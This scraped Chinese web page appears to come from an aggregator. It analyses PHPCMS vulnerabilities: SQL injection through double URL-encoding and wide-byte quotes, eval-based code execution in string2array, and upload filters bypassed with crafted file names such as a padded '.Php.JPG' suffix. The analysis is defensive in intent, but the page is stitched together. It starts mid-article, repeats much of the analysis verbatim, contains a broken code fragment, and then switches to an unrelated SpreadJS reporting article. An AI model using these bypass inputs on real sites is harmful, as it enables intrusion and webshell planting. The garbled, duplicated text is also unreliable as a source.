第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
數據可視化探索之 SpreadJS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 146 次瀏覽 ? 2022-06-20 19:31
本文首發(fā)于政采云前端團隊博客:數據可視化探索之 SpreadJS
一、前言
數據可視化包含三個(gè)分支:科學(xué)可視化、信息可視化、可視分析。
1、科學(xué)可視化主要關(guān)注的是三維現象的可視化,如建筑學(xué)、氣象學(xué)、醫學(xué)或生物學(xué)方面的各種系統。重點(diǎn)在于對體、面以及光源等等的逼真渲染,或許甚至還包括某種動(dòng)態(tài)成分。
2、信息可視化是一種將數據與設計結合起來(lái)的圖片,有利于個(gè)人或組織簡(jiǎn)短有效地向受眾傳播信息的數據表現形式。
3、可視分析學(xué)被定義為由可視交互界面為基礎的分析推理科學(xué),將圖形學(xué)、數據挖掘、人機交互等技術(shù)融合在一起,形成人腦智能和機器智能優(yōu)勢互補和相互提升。
可視化分析中可視化報表是重中之重,把大量的數據快速的展示出來(lái),并且靈活的進(jìn)行數據操作,其中操作包括數據的篩選、關(guān)聯(lián)、聯(lián)動(dòng)、鉆取,文案的查詢(xún),替換、樣式設置,條件格式的注入實(shí)現多色階、圖標集、數據條、重復值,以及公式的插入,跨表聯(lián)動(dòng)等。SpreadJS 在解決可視化分析報表中最為突出,下面我們只針對可視化分析中 SpreadJS 所扮演色做探討。
二、報表可視化難點(diǎn)
互聯(lián)網(wǎng)電商服務(wù)業(yè)行業(yè),平時(shí)會(huì )處理大量商業(yè)信息和用戶(hù)信息,客服和數據分析師,是報表主要用戶(hù)人員。
客服平時(shí)每天都會(huì )處理大量的工單填報、客訴登記、第三方平臺原始數據的導入、統計匯總、審核審批、電簽、分發(fā)等工作。平時(shí)大部分工作信息的載體都是 Excel,每天服務(wù)器需要處理海量的文檔,由于 Excel 文檔本身數據難以提取入庫,模板更新時(shí)也不方便第一時(shí)間分發(fā)到操作員處,難以整合到 Web 頁(yè)面里等問(wèn)題。
數據分析師需要拿到數據進(jìn)行匯總,算出各個(gè)商品品牌的銷(xiāo)售額,最大值、最小值、平均值等,標識出有價(jià)值的數據。抓取有效數據,制作成報表給 boss。
針對以上的場(chǎng)景,報表可視化可以總結出以下幾個(gè)難點(diǎn):
1. 并發(fā)
公司客服人數眾多,幾千人同時(shí)在線(xiàn)重度操作,業(yè)務(wù)流轉周期短、數據量大,所以對服務(wù)端并發(fā)性能消耗是很大的??梢栽诤笈_用 Apache POI 來(lái)提取和修改 Excel 數據、并執行其中的公式計算等。這樣會(huì )遇到兩個(gè)性能瓶頸:
1)需要頻繁地上傳、下載文檔,服務(wù)器帶寬承受了很大的壓力;
2)所有 Excel 解析、提取的操作都在服務(wù)器端,頻繁的 IO 操作讓服務(wù)器不堪重負。
以上兩個(gè)性能點(diǎn),在目前的架構下很難突破,這也是重構項目時(shí)最具挑戰性的需求點(diǎn)之一。當然硬堆服務(wù)器配置也是一個(gè)解決方案,但無(wú)法解決其它的一些問(wèn)題,并且也會(huì )帶來(lái)運維的壓力。
2. 對 Excel 操作和兼容性要求較高
新系統如果不能讓大家快速上手使用,以這個(gè)項目用戶(hù)的體量,培訓成本將無(wú)法承受。而且要能夠直接導入已有的 Excel 報表模板,否則再次開(kāi)發(fā)或設計所有 Excel 報表也是難以接受的。
3. 報表格式靈活多變
針對不同的業(yè)務(wù)場(chǎng)景,報表的模版也是千變萬(wàn)化。因此不需要研發(fā)的介入,操作員的設計和填報都可以在頁(yè)面上完成顯得尤為重要。
4. 支持公式計算
由于涉及到商品、訂單、成本核算、財務(wù)統計等模塊,對計算公式的種類(lèi)和性能要求較高。
5. 工作流中的數據文檔
以前系統的工作流,涉及到 Excel 報表時(shí),要么數據會(huì )先在服務(wù)端和 Excel 模板進(jìn)行拼裝,要么系統根據路徑找到文件服務(wù)器的 Excel 文件,然后流轉到對應環(huán)節。一些新的業(yè)務(wù)模塊,甚至還只能用郵件進(jìn)行文件傳輸。
